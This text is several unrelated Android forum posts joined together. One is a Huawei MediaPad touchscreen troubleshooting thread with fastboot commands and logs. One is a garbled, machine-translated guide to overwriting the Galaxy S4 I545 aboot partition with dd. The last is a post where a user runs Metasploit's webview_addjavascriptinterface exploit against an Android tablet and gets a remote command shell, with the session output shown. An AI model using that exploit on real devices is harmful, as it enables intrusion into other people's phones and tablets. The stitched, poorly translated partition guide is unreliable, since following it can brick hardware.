Hi,
i have a small problem a i hope someone here would be able to help me or enlighten me of what i have done wrong
I took my old Huawei Media pad s7-301u from the shelf to test if its still working or what condition he is in. The table booted normally into the system and everything seemed to be working but i have decided to hard-reset the tablet for future work. Since i had TWRP installed the system went to the recovery where i have decided to install a fresh stock ROM and therefore i have wiped all data using the recovery. After rebooting the touchscreen stopped to work, in TWRP, and overall anything. Hence, i have pushed the stock recovery into it and updated to the stock ROM using the inbuilt updater - everything went OK but the tablet was dead. After lots of trying i red somewhere that the wipe through TRWP could do something with one of the partition and thus i tried to convert them to ext2 and back to ext4 to fix the issue and truly it fixed the issue with the system and after updating the tablet went in to the system, however, the touchscreen is not working at all.
I have used the TWRP: 2.8.4.0
Stock ROM: S7-301u V100R002C232B005 ICS Android 4.0.3 General Version
What i have tried during my work was to push all the files for flash through fastboot
Code:
fastboot.exe flash modem non-hlos.bin
fastboot.exe flash sbl1 sbl1.mbn
fastboot.exe flash sbl2 sbl2.mbn
fastboot.exe flash ext oeminfo
fastboot.exe flash rpm rpm.mbn
fastboot.exe flash sbl3 sbl3.mbn
fastboot.exe flash aboot emmc_appsboot.mbn
fastboot.exe flash tz tz.mbn
fastboot.exe flash logo logo.img
fastboot.exe flash modem_st1 modem_st1.mbn
fastboot.exe flash modem_st2 modem_st2.mbn
fastboot.exe flash cust cust.img.ext4
fastboot.exe flash boot boot.img
fastboot.exe flash system system.img.ext4
fastboot.exe flash persist persist.img.ext4
fastboot.exe flash cache cache.img.ext4
fastboot.exe flash userdata userdata.img.ext4
fastboot.exe flash tombstones tombstones.img.ext4
fastboot.exe flash recovery recovery.img
fastboot.exe flash recovery2 recovery.img
The tablet reports, after update, that the "touchscreen firmware upgrade failed" but i cant figure out why it is not working. In the log from the update is:
Code:
Huawei product info file found ......
software version is not need to check!
Huawei software version Verfying success......
hardware version is not need to check!
Huawei hardware version Verfying success......
update parti num = 26
try to update coulmeter firmware!
try to update touchscreen firmware!
Success to fork coulmeter child process!
Huawei could not found coulmeter firmware version file......
coulmeter write return 9
wait for child processes return!
sys parti num = 26, update parti num =26
partition table not change
Success to fork touchscreen child process!
start huawei_update_touchscreen_firmware
minzip: Extracted dir "/tmp/touchscreen/"
minzip: Extracted file "/tmp/touchscreen/atmel_cmi_pro.img"
minzip: Extracted file "/tmp/touchscreen/s7020_suc.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1828_001.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1885_004.img"
mzExtractRecursive return 0
touchscreen update Can't copy /tmp/touchscreen
touchscreen write return 4
update zip package has boot img
Huawei contain bootloader's img......
Huawei begin structuring the update partition list......
And the update file/pack include a folder with the "touchscreen" img, however, iam not sure why its reporting the error about "copy" which is above. Using adb i have listed some files/folders and found the img files inside etc/firmware. The files are listed with extension *.img and are four: atmel_cmi_pro.img, t1320_tm1885_004.img, t1320_tm1828_001.img a t1320_tm1828_001.img.
Code:
ls -la
-rw-r--r-- root root 3750 2012-06-07 18:17 atmel_cmi_pro.img
-rw-r--r-- root root 72020 2012-06-07 18:17 cyttsp_8660_ffa.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p2.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p3.hex
-rw-r--r-- root root 180 2012-06-07 18:17 dsps_fluid.b00
-rw-r--r-- root root 120 2012-06-07 18:17 dsps_fluid.b01
-rw-r--r-- root root 105484 2012-06-07 18:17 dsps_fluid.b02
-rw-r--r-- root root 6256 2012-06-07 18:17 dsps_fluid.b03
-rw-r--r-- root root 428 2012-06-07 18:17 dsps_fluid.mdt
-rw-r--r-- root root 1156 2012-06-07 18:17 leia_pfp_470.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 leia_pm4_470.fw
lrwxrwxrwx root root 2011-01-01 19:49 modem.b00 -> /firmware/image/modem.b00
lrwxrwxrwx root root 2011-01-01 19:49 modem.b01 -> /firmware/image/modem.b01
lrwxrwxrwx root root 2011-01-01 19:49 modem.b02 -> /firmware/image/modem.b02
lrwxrwxrwx root root 2011-01-01 19:49 modem.b03 -> /firmware/image/modem.b03
lrwxrwxrwx root root 2011-01-01 19:49 modem.b04 -> /firmware/image/modem.b04
lrwxrwxrwx root root 2011-01-01 19:49 modem.b05 -> /firmware/image/modem.b05
lrwxrwxrwx root root 2011-01-01 19:49 modem.b06 -> /firmware/image/modem.b06
lrwxrwxrwx root root 2011-01-01 19:49 modem.b07 -> /firmware/image/modem.b07
lrwxrwxrwx root root 2011-01-01 19:49 modem.b08 -> /firmware/image/modem.b08
lrwxrwxrwx root root 2011-01-01 19:49 modem.b09 -> /firmware/image/modem.b09
lrwxrwxrwx root root 2011-01-01 19:49 modem.b10 -> /firmware/image/modem.b10
lrwxrwxrwx root root 2011-01-01 19:49 modem.mdt -> /firmware/image/modem.mdt
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b00 -> /firmware/image/playrdy.b00
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b01 -> /firmware/image/playrdy.b01
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b02 -> /firmware/image/playrdy.b02
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.mdt -> /firmware/image/playrdy.mdt
lrwxrwxrwx root root 2011-01-01 19:49 q6.b00 -> /firmware/image/q6.b00
lrwxrwxrwx root root 2011-01-01 19:49 q6.b01 -> /firmware/image/q6.b01
lrwxrwxrwx root root 2011-01-01 19:49 q6.b02 -> /firmware/image/q6.b02
lrwxrwxrwx root root 2011-01-01 19:49 q6.b03 -> /firmware/image/q6.b03
lrwxrwxrwx root root 2011-01-01 19:49 q6.b04 -> /firmware/image/q6.b04
lrwxrwxrwx root root 2011-01-01 19:49 q6.b05 -> /firmware/image/q6.b05
lrwxrwxrwx root root 2011-01-01 19:49 q6.b06 -> /firmware/image/q6.b06
lrwxrwxrwx root root 2011-01-01 19:49 q6.b07 -> /firmware/image/q6.b07
lrwxrwxrwx root root 2011-01-01 19:49 q6.mdt -> /firmware/image/q6.mdt
-rw-r--r-- root root 46848 2012-06-07 18:17 s7020_suc.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1828_001.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1885_004.img
-rw-r--r-- root root 510300 2012-06-07 18:17 vidc_1080p.fw
drwxr-xr-x root root 2012-06-07 18:17 wcd9310
-rw-r--r-- root root 1156 2012-06-07 18:17 yamato_pfp.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 yamato_pm4.fw
however, iam not sure if this is ok or not or whatsoever. All other firmwares are in some other format so iam not sure about this. All the issues started with my TWRP wipe and during my flashing i have always used the official ROMs intended for this model.
any help or suggestion would be appreciated!
thx, Tomas
Anyone have any idea what i could do to make this working?
SOVA_SX said:
Hi,
i have a small problem a i hope someone here would be able to help me or enlighten me of what i have done wrong
I took my old Huawei Media pad s7-301u from the shelf to test if its still working or what condition he is in. The table booted normally into the system and everything seemed to be working but i have decided to hard-reset the tablet for future work. Since i had TWRP installed the system went to the recovery where i have decided to install a fresh stock ROM and therefore i have wiped all data using the recovery. After rebooting the touchscreen stopped to work, in TWRP, and overall anything. Hence, i have pushed the stock recovery into it and updated to the stock ROM using the inbuilt updater - everything went OK but the tablet was dead. After lots of trying i red somewhere that the wipe through TRWP could do something with one of the partition and thus i tried to convert them to ext2 and back to ext4 to fix the issue and truly it fixed the issue with the system and after updating the tablet went in to the system, however, the touchscreen is not working at all.
I have used the TWRP: 2.8.4.0
Stock ROM: S7-301u V100R002C232B005 ICS Android 4.0.3 General Version
What i have tried during my work was to push all the files for flash through fastboot
Code:
fastboot.exe flash modem non-hlos.bin
fastboot.exe flash sbl1 sbl1.mbn
fastboot.exe flash sbl2 sbl2.mbn
fastboot.exe flash ext oeminfo
fastboot.exe flash rpm rpm.mbn
fastboot.exe flash sbl3 sbl3.mbn
fastboot.exe flash aboot emmc_appsboot.mbn
fastboot.exe flash tz tz.mbn
fastboot.exe flash logo logo.img
fastboot.exe flash modem_st1 modem_st1.mbn
fastboot.exe flash modem_st2 modem_st2.mbn
fastboot.exe flash cust cust.img.ext4
fastboot.exe flash boot boot.img
fastboot.exe flash system system.img.ext4
fastboot.exe flash persist persist.img.ext4
fastboot.exe flash cache cache.img.ext4
fastboot.exe flash userdata userdata.img.ext4
fastboot.exe flash tombstones tombstones.img.ext4
fastboot.exe flash recovery recovery.img
fastboot.exe flash recovery2 recovery.img
The tablet reports, after update, that the "touchscreen firmware upgrade failed" but i cant figure out why it is not working. In the log from the update is:
Code:
Huawei product info file found ......
software version is not need to check!
Huawei software version Verfying success......
hardware version is not need to check!
Huawei hardware version Verfying success......
update parti num = 26
try to update coulmeter firmware!
try to update touchscreen firmware!
Success to fork coulmeter child process!
Huawei could not found coulmeter firmware version file......
coulmeter write return 9
wait for child processes return!
sys parti num = 26, update parti num =26
partition table not change
Success to fork touchscreen child process!
start huawei_update_touchscreen_firmware
minzip: Extracted dir "/tmp/touchscreen/"
minzip: Extracted file "/tmp/touchscreen/atmel_cmi_pro.img"
minzip: Extracted file "/tmp/touchscreen/s7020_suc.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1828_001.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1885_004.img"
mzExtractRecursive return 0
touchscreen update Can't copy /tmp/touchscreen
touchscreen write return 4
update zip package has boot img
Huawei contain bootloader's img......
Huawei begin structuring the update partition list......
And the update file/pack include a folder with the "touchscreen" img, however, iam not sure why its reporting the error about "copy" which is above. Using adb i have listed some files/folders and found the img files inside etc/firmware. The files are listed with extension *.img and are four: atmel_cmi_pro.img, t1320_tm1885_004.img, t1320_tm1828_001.img a t1320_tm1828_001.img.
Code:
ls -la
-rw-r--r-- root root 3750 2012-06-07 18:17 atmel_cmi_pro.img
-rw-r--r-- root root 72020 2012-06-07 18:17 cyttsp_8660_ffa.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p2.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p3.hex
-rw-r--r-- root root 180 2012-06-07 18:17 dsps_fluid.b00
-rw-r--r-- root root 120 2012-06-07 18:17 dsps_fluid.b01
-rw-r--r-- root root 105484 2012-06-07 18:17 dsps_fluid.b02
-rw-r--r-- root root 6256 2012-06-07 18:17 dsps_fluid.b03
-rw-r--r-- root root 428 2012-06-07 18:17 dsps_fluid.mdt
-rw-r--r-- root root 1156 2012-06-07 18:17 leia_pfp_470.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 leia_pm4_470.fw
lrwxrwxrwx root root 2011-01-01 19:49 modem.b00 -> /firmware/image/modem.b00
lrwxrwxrwx root root 2011-01-01 19:49 modem.b01 -> /firmware/image/modem.b01
lrwxrwxrwx root root 2011-01-01 19:49 modem.b02 -> /firmware/image/modem.b02
lrwxrwxrwx root root 2011-01-01 19:49 modem.b03 -> /firmware/image/modem.b03
lrwxrwxrwx root root 2011-01-01 19:49 modem.b04 -> /firmware/image/modem.b04
lrwxrwxrwx root root 2011-01-01 19:49 modem.b05 -> /firmware/image/modem.b05
lrwxrwxrwx root root 2011-01-01 19:49 modem.b06 -> /firmware/image/modem.b06
lrwxrwxrwx root root 2011-01-01 19:49 modem.b07 -> /firmware/image/modem.b07
lrwxrwxrwx root root 2011-01-01 19:49 modem.b08 -> /firmware/image/modem.b08
lrwxrwxrwx root root 2011-01-01 19:49 modem.b09 -> /firmware/image/modem.b09
lrwxrwxrwx root root 2011-01-01 19:49 modem.b10 -> /firmware/image/modem.b10
lrwxrwxrwx root root 2011-01-01 19:49 modem.mdt -> /firmware/image/modem.mdt
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b00 -> /firmware/image/playrdy.b00
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b01 -> /firmware/image/playrdy.b01
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b02 -> /firmware/image/playrdy.b02
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.mdt -> /firmware/image/playrdy.mdt
lrwxrwxrwx root root 2011-01-01 19:49 q6.b00 -> /firmware/image/q6.b00
lrwxrwxrwx root root 2011-01-01 19:49 q6.b01 -> /firmware/image/q6.b01
lrwxrwxrwx root root 2011-01-01 19:49 q6.b02 -> /firmware/image/q6.b02
lrwxrwxrwx root root 2011-01-01 19:49 q6.b03 -> /firmware/image/q6.b03
lrwxrwxrwx root root 2011-01-01 19:49 q6.b04 -> /firmware/image/q6.b04
lrwxrwxrwx root root 2011-01-01 19:49 q6.b05 -> /firmware/image/q6.b05
lrwxrwxrwx root root 2011-01-01 19:49 q6.b06 -> /firmware/image/q6.b06
lrwxrwxrwx root root 2011-01-01 19:49 q6.b07 -> /firmware/image/q6.b07
lrwxrwxrwx root root 2011-01-01 19:49 q6.mdt -> /firmware/image/q6.mdt
-rw-r--r-- root root 46848 2012-06-07 18:17 s7020_suc.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1828_001.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1885_004.img
-rw-r--r-- root root 510300 2012-06-07 18:17 vidc_1080p.fw
drwxr-xr-x root root 2012-06-07 18:17 wcd9310
-rw-r--r-- root root 1156 2012-06-07 18:17 yamato_pfp.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 yamato_pm4.fw
however, iam not sure if this is ok or not or whatsoever. All other firmwares are in some other format so iam not sure about this. All the issues started with my TWRP wipe and during my flashing i have always used the official ROMs intended for this model.
any help or suggestion would be appreciated!
thx, Tomas
Anyone have any idea what i could do to make this working?
Click to expand...
Click to collapse
Hi @SOVA_SX,
Have you been able to solve your issue?
I would appreciate, if you could share the TWRP 2.8.4.0.
The touch function on my S7-301u is also broken. I used to use a mouse via an OTG-USB.
Unfortunately, I decided to update the ROM. After updating the mediapad is stuck in a bootloop ...
Thank you!
SOVA_SX said:
Hi,
i have a small problem a i hope someone here would be able to help me or enlighten me of what i have done wrong
I took my old Huawei Media pad s7-301u from the shelf to test if its still working or what condition he is in. The table booted normally into the system and everything seemed to be working but i have decided to hard-reset the tablet for future work. Since i had TWRP installed the system went to the recovery where i have decided to install a fresh stock ROM and therefore i have wiped all data using the recovery. After rebooting the touchscreen stopped to work, in TWRP, and overall anything. Hence, i have pushed the stock recovery into it and updated to the stock ROM using the inbuilt updater - everything went OK but the tablet was dead. After lots of trying i red somewhere that the wipe through TRWP could do something with one of the partition and thus i tried to convert them to ext2 and back to ext4 to fix the issue and truly it fixed the issue with the system and after updating the tablet went in to the system, however, the touchscreen is not working at all.
I have used the TWRP: 2.8.4.0
Stock ROM: S7-301u V100R002C232B005 ICS Android 4.0.3 General Version
What i have tried during my work was to push all the files for flash through fastboot
Code:
fastboot.exe flash modem non-hlos.bin
fastboot.exe flash sbl1 sbl1.mbn
fastboot.exe flash sbl2 sbl2.mbn
fastboot.exe flash ext oeminfo
fastboot.exe flash rpm rpm.mbn
fastboot.exe flash sbl3 sbl3.mbn
fastboot.exe flash aboot emmc_appsboot.mbn
fastboot.exe flash tz tz.mbn
fastboot.exe flash logo logo.img
fastboot.exe flash modem_st1 modem_st1.mbn
fastboot.exe flash modem_st2 modem_st2.mbn
fastboot.exe flash cust cust.img.ext4
fastboot.exe flash boot boot.img
fastboot.exe flash system system.img.ext4
fastboot.exe flash persist persist.img.ext4
fastboot.exe flash cache cache.img.ext4
fastboot.exe flash userdata userdata.img.ext4
fastboot.exe flash tombstones tombstones.img.ext4
fastboot.exe flash recovery recovery.img
fastboot.exe flash recovery2 recovery.img
The tablet reports, after update, that the "touchscreen firmware upgrade failed" but i cant figure out why it is not working. In the log from the update is:
Code:
Huawei product info file found ......
software version is not need to check!
Huawei software version Verfying success......
hardware version is not need to check!
Huawei hardware version Verfying success......
update parti num = 26
try to update coulmeter firmware!
try to update touchscreen firmware!
Success to fork coulmeter child process!
Huawei could not found coulmeter firmware version file......
coulmeter write return 9
wait for child processes return!
sys parti num = 26, update parti num =26
partition table not change
Success to fork touchscreen child process!
start huawei_update_touchscreen_firmware
minzip: Extracted dir "/tmp/touchscreen/"
minzip: Extracted file "/tmp/touchscreen/atmel_cmi_pro.img"
minzip: Extracted file "/tmp/touchscreen/s7020_suc.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1828_001.img"
minzip: Extracted file "/tmp/touchscreen/t1320_tm1885_004.img"
mzExtractRecursive return 0
touchscreen update Can't copy /tmp/touchscreen
touchscreen write return 4
update zip package has boot img
Huawei contain bootloader's img......
Huawei begin structuring the update partition list......
And the update file/pack include a folder with the "touchscreen" img, however, iam not sure why its reporting the error about "copy" which is above. Using adb i have listed some files/folders and found the img files inside etc/firmware. The files are listed with extension *.img and are four: atmel_cmi_pro.img, t1320_tm1885_004.img, t1320_tm1828_001.img a t1320_tm1828_001.img.
Code:
ls -la
-rw-r--r-- root root 3750 2012-06-07 18:17 atmel_cmi_pro.img
-rw-r--r-- root root 72020 2012-06-07 18:17 cyttsp_8660_ffa.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p2.hex
-rw-r--r-- root root 72538 2012-06-07 18:17 cyttsp_8660_fluid_p3.hex
-rw-r--r-- root root 180 2012-06-07 18:17 dsps_fluid.b00
-rw-r--r-- root root 120 2012-06-07 18:17 dsps_fluid.b01
-rw-r--r-- root root 105484 2012-06-07 18:17 dsps_fluid.b02
-rw-r--r-- root root 6256 2012-06-07 18:17 dsps_fluid.b03
-rw-r--r-- root root 428 2012-06-07 18:17 dsps_fluid.mdt
-rw-r--r-- root root 1156 2012-06-07 18:17 leia_pfp_470.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 leia_pm4_470.fw
lrwxrwxrwx root root 2011-01-01 19:49 modem.b00 -> /firmware/image/modem.b00
lrwxrwxrwx root root 2011-01-01 19:49 modem.b01 -> /firmware/image/modem.b01
lrwxrwxrwx root root 2011-01-01 19:49 modem.b02 -> /firmware/image/modem.b02
lrwxrwxrwx root root 2011-01-01 19:49 modem.b03 -> /firmware/image/modem.b03
lrwxrwxrwx root root 2011-01-01 19:49 modem.b04 -> /firmware/image/modem.b04
lrwxrwxrwx root root 2011-01-01 19:49 modem.b05 -> /firmware/image/modem.b05
lrwxrwxrwx root root 2011-01-01 19:49 modem.b06 -> /firmware/image/modem.b06
lrwxrwxrwx root root 2011-01-01 19:49 modem.b07 -> /firmware/image/modem.b07
lrwxrwxrwx root root 2011-01-01 19:49 modem.b08 -> /firmware/image/modem.b08
lrwxrwxrwx root root 2011-01-01 19:49 modem.b09 -> /firmware/image/modem.b09
lrwxrwxrwx root root 2011-01-01 19:49 modem.b10 -> /firmware/image/modem.b10
lrwxrwxrwx root root 2011-01-01 19:49 modem.mdt -> /firmware/image/modem.mdt
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b00 -> /firmware/image/playrdy.b00
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b01 -> /firmware/image/playrdy.b01
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.b02 -> /firmware/image/playrdy.b02
lrwxrwxrwx root root 2011-01-01 19:49 playrdy.mdt -> /firmware/image/playrdy.mdt
lrwxrwxrwx root root 2011-01-01 19:49 q6.b00 -> /firmware/image/q6.b00
lrwxrwxrwx root root 2011-01-01 19:49 q6.b01 -> /firmware/image/q6.b01
lrwxrwxrwx root root 2011-01-01 19:49 q6.b02 -> /firmware/image/q6.b02
lrwxrwxrwx root root 2011-01-01 19:49 q6.b03 -> /firmware/image/q6.b03
lrwxrwxrwx root root 2011-01-01 19:49 q6.b04 -> /firmware/image/q6.b04
lrwxrwxrwx root root 2011-01-01 19:49 q6.b05 -> /firmware/image/q6.b05
lrwxrwxrwx root root 2011-01-01 19:49 q6.b06 -> /firmware/image/q6.b06
lrwxrwxrwx root root 2011-01-01 19:49 q6.b07 -> /firmware/image/q6.b07
lrwxrwxrwx root root 2011-01-01 19:49 q6.mdt -> /firmware/image/q6.mdt
-rw-r--r-- root root 46848 2012-06-07 18:17 s7020_suc.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1828_001.img
-rw-r--r-- root root 28928 2012-06-07 18:17 t1320_tm1885_004.img
-rw-r--r-- root root 510300 2012-06-07 18:17 vidc_1080p.fw
drwxr-xr-x root root 2012-06-07 18:17 wcd9310
-rw-r--r-- root root 1156 2012-06-07 18:17 yamato_pfp.fw
-rw-r--r-- root root 9220 2012-06-07 18:17 yamato_pm4.fw
however, iam not sure if this is ok or not or whatsoever. All other firmwares are in some other format so iam not sure about this. All the issues started with my TWRP wipe and during my flashing i have always used the official ROMs intended for this model.
any help or suggestion would be appreciated!
thx, Tomas
Anyone have any idea what i could do to make this working?
Click to expand...
Click to collapse
Huawei has issues with twrp during factory reset. This happed to me too with p9. Flash the original system recovery and reset it from there.
Nicknackpaddywack101 said:
Huawei has issues with twrp during factory reset. This happed to me too with p9. Flash the original system recovery and reset it from there.
Click to expand...
Click to collapse
Yes, thats a good idea.
Actually, I was able to replace TWRP with the stock recovery and flashed the stock ROM.
The touch function is still broken. I reckon it is a HW issue rather than SW, but I can use a [email protected] USB as a work-around which is just fine for my use case.
In fact, the best thing is that I got curious and started to check more in detail again, and after approx. 8 years having the S7-301u stored away, I just noticed the CWM recovery works with the HW buttons just fine and no touch needed ( ... seems I forgot about this once I switched over to TWRP then ... )
So, I am testing the various available custom ROMs now
Related
I545 ME7 new version has a lock, do not accidentally brush or misuse upgrade, think about tossing a Brush Brush RECOVERY trouble. Is it possible to upgrade will not be downgraded? The answer is definitely no. Well, we want to downgrade, then understand its partition structure is a must. You know, in the end we have to upgrade to upgrade what was a result of being locked!
First, here is the I545 partition table structure:
Code:
lrwxrwxrwx root root 1970-01-01 16:14 aboot -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 1970-01-01 16:14 apnhlos -> /dev/block/mmcblk0p1
lrwxrwxrwx root root 1970-01-01 16:14 backup -> /dev/block/mmcblk0p23
lrwxrwxrwx root root 1970-01-01 16:14 boot -> /dev/block/mmcblk0p20
lrwxrwxrwx root root 1970-01-01 16:14 cache -> /dev/block/mmcblk0p18
lrwxrwxrwx root root 1970-01-01 16:14 carrier -> /dev/block/mmcblk0p28
lrwxrwxrwx root root 1970-01-01 16:14 efs -> /dev/block/mmcblk0p10
lrwxrwxrwx root root 1970-01-01 16:14 fota -> /dev/block/mmcblk0p22
lrwxrwxrwx root root 1970-01-01 16:14 fsg -> /dev/block/mmcblk0p24
lrwxrwxrwx root root 1970-01-01 16:14 hidden -> /dev/block/mmcblk0p27
lrwxrwxrwx root root 1970-01-01 16:14 m9kefs1 -> /dev/block/mmcblk0p13
lrwxrwxrwx root root 1970-01-01 16:14 m9kefs2 -> /dev/block/mmcblk0p14
lrwxrwxrwx root root 1970-01-01 16:14 m9kefs3 -> /dev/block/mmcblk0p15
lrwxrwxrwx root root 1970-01-01 16:14 mdm -> /dev/block/mmcblk0p2
lrwxrwxrwx root root 1970-01-01 16:14 modemst1 -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 1970-01-01 16:14 modemst2 -> /dev/block/mmcblk0p12
lrwxrwxrwx root root 1970-01-01 16:14 pad -> /dev/block/mmcblk0p9
lrwxrwxrwx root root 1970-01-01 16:14 param -> /dev/block/mmcblk0p19
lrwxrwxrwx root root 1970-01-01 16:14 persdata -> /dev/block/mmcblk0p26
lrwxrwxrwx root root 1970-01-01 16:14 persist -> /dev/block/mmcblk0p17
lrwxrwxrwx root root 1970-01-01 16:14 recovery -> /dev/block/mmcblk0p21
lrwxrwxrwx root root 1970-01-01 16:14 rpm -> /dev/block/mmcblk0p7
lrwxrwxrwx root root 1970-01-01 16:14 sbl1 -> /dev/block/mmcblk0p3
lrwxrwxrwx root root 1970-01-01 16:14 sbl2 -> /dev/block/mmcblk0p4
lrwxrwxrwx root root 1970-01-01 16:14 sbl3 -> /dev/block/mmcblk0p5
lrwxrwxrwx root root 1970-01-01 16:14 ssd -> /dev/block/mmcblk0p25
lrwxrwxrwx root root 1970-01-01 16:14 system -> /dev/block/mmcblk0p16
lrwxrwxrwx root root 1970-01-01 16:14 tz -> /dev/block/mmcblk0p8
lrwxrwxrwx root root 1970-01-01 16:14 userdata -> /dev/block/mmcblk0p29
Know the partition table, then we have to look at the official ROM ME7 what is inside, at least to know what he upgraded partition was a result of being locked.
The following is the official package ME7 opened with RAR see:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
You can see, there are 12 official package file , in fact, there should be 13 years , I feel like I had a SBL1.MBN delete the file, this is an important guiding document , a blank screen will be lost . Connection brush modes anyhow. So we know that under the first bar . BOOT.IMG is the core of the boot files will be lost card first screen . CACHE This is not , MODEM.BIN and NON-HLOS.BIN this is related to the baseband , I brush off alone , it will not be locked , and this has nothing to do , RECOVERY This is a card swipe mode , recovery mode , this is not , RPM is a power management scheme related , SBL2.MBN SBL3.MBN boot record which two are related , SYSTEM this is the system , nor is , TZ is that I do not understand what to do .
**Now the question comes, if not understand, a recovery in the past may have a try. Such high risk factor . Therefore, we even try , but also row a sequence . For example SBL1.MBN, this is the first boot , when this fails if the coverage directly on a black screen , and we try not to move it to this , at least we do not move it, cover the failure modes that can feed wire brush brush the official rescue package bricks ! Of course , this is not relevant to the lock BOOTLOADER .
***535 used all know , 535 is V version, it also has BOOTLOADER lock, then unlock 535 using what methods do, in fact, is replaced by the partition method, which is aboot.mbn replace this partition. In fact, it says so much just thinking, we can be like 535 as a direct replacement overwrite this partition. If not, then only SBL2 SBL3 SBL1 these three , this three risk factor is quite high, and our principle is can not move do not move these three !
Well, just say replace overridden methods !
First of all, we have to use ADB SHELL under the DD command. Then we will obtain ADB SHELL authority , which is first ROOT.
The ROOT method ME7 forum there, I will not say more . I direct that ADB SHELL command .
We go first to Taiwan MDK the machine, put a few partition backup, is SBL1.MBN SBL2.MBN SBL3.MBN and ABOOT.MBN If you are interested , you can put all of the above partition table partition backup under , be prepared to stay with maybe someday that can use ! ~ ~
Backup method is to obtain ROOT , enter ADB SHELL command:
Code:
adb shell
dd if=/dev/block/mmcblk0p3 of=/sdcard/sbl1.mbn bs=4096
dd if=/dev/block/mmcblk0p4 of=/sdcard/sbl2.mbn bs=4096
dd if=/dev/block/mmcblk0p5 of=/sdcard/sbl3.mbn bs=4096
dd if=/dev/block/mmcblk0p6 of=/sdcard/aboot.mbn bs=4096
To explain, dd command to copy the partition related commands, if the meaning can be understood as if it. If there IF = path behind the partition, partition backup to put this on the path of = this, SDCARD this is the path of built-in memory card, you can back up directly to an external memory card, you have to do to change the path down.
Next, we put the backup files are copied to the four external SD card, or copied to a computer backup.
Then again, we took our locked machine, and put the MDK overwrite these partitions ME7 partition. Cover only aboot.mbn oh.
We first connect the phone to the computer, the backup out who's copied to the phone's built-in memory card.
root, I do not say this directly into the adb shell input overrides command:
Code:
adb shell
dd if=/dev/block/mmcblk0p6 of=/sdcard/ME7_aboot.mbn bs=4096
dd if=/sdcard/aboot.mbn of=/dev/block/mmcblk0p6 bs=4096
Note that this command following the second IF = OF = position and the position in turn, because it is not backed up, it was restored. The first DD command can not operate, I was customary to put it back down. Be prepared!
Well, I write to you, these commands is very dangerous, and can not be successful looking at you peril Oh, I only provide ideas and does not promise any consequences. Understand their own caution to decide whether to try, do not understand it not tried!
New ideas are always appreciated. Thank you for your efforts!
There are two places to discuss this ...and remember, if you ever try any of this stuff, you do so at your own risk....
see http://forum.xda-developers.com/showthread.php?t=2500826
or
http://forum.xda-developers.com/showthread.php?t=2417713
or possibly here http://forum.xda-developers.com/showthread.php?t=2428226
Hi,
I use KALI Linux and an Android 4.1.2 Tablet for my test. I want to install an App like this:
drops.wooyun.org/papers/548
At Kali Linux i use the exploit webview_addjavascriptinterface and get a response from my tablet (same WLAN).
msf exploit(webview_addjavascriptinterface) > [*] 192.168.178.23 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.178.23 webview_addjavascriptinterface - Sending response HTML.
[*] 192.168.178.23 webview_addjavascriptinterface - Serving exploit HTML
[*] Command shell session 1 opened (192.168.178.39:35534 -> 192.168.178.23:8080) at 2014-05-16 11:27:41 +0000
msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...
export PATH=/system/bin:$PATH
ls -al
drwxr-xr-x root root 2014-05-15 16:56 acct
-rw-r--r-- root root 332 2014-05-15 16:56 boot.txt
drwxrwx--x system cache 2014-05-10 09:22 cache
dr-x------ root root 2014-05-15 16:56 config
lrwxrwxrwx root root 2014-05-15 16:56 d -> /sys/kernel/debug
drwxrwx--x system system 2014-05-12 09:41 data
-rw-r--r-- root root 129 2014-05-15 16:56 default.prop
drwxr-xr-x root root 2014-05-15 17:12 dev
drwxr-xr-x radio radio 2014-05-09 13:55 efs
lrwxrwxrwx root root 2014-05-15 16:56 emmc -> /storage/sdcard1
lrwxrwxrwx root root 2014-05-15 16:56 etc -> /system/etc
-rwxr-x--- root root 105292 2014-05-15 16:56 init
-rwxr-x--- root root 1107 2014-05-15 16:56 init.cm.rc
-rwxr-x--- root root 2344 2014-05-15 16:56 init.goldfish.rc
-rwxr-x--- root root 5171 2014-05-15 16:56 init.p1-common.rc
-rwxr-x--- root root 5389 2014-05-15 16:56 init.p1.rc
-rwxr-x--- root root 936 2014-05-15 16:56 init.p1.usb.rc
